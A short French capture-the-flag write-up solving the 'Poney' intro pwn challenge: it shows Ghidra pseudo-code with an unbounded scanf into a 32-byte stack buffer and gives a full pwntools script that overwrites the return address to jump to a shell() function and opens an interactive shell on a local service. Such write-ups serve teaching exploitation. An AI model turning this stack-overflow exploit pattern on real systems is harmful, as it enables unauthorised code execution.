Solution de mandragore pour Poney

intro pwn x86/x64

7 janvier 2025

En ouvrant le binaire avec Ghidra, on observe le pseudo-code suivant :

undefined local_28 [32];
__isoc99_scanf(&DAT_004007b5,local_28);

C’est un simple écrasement d’adresse retour dans la pile.

Pas besoin d’écrire un shellcode, une fonction shell() existe dans la plage exécutable à 0x400676, il suffit de l’utiliser.

#!/usr/bin/python3

from pwn import *

sc =cyclic(40)
sc+=b'\x76\x06\x40\x00\x00\x00\x00\x00'

# proc = process('./poney',stdin=PTY) # sigsev après l'appel system('/bin/bash'), je ne sais pas pourquoi.. mais pas besoin de creuser ca marche en remote
proc = remote('127.0.0.1', 4000)
proc.clean()
proc.sendline(sc)
proc.sendline(b'uname -a')
proc.interactive()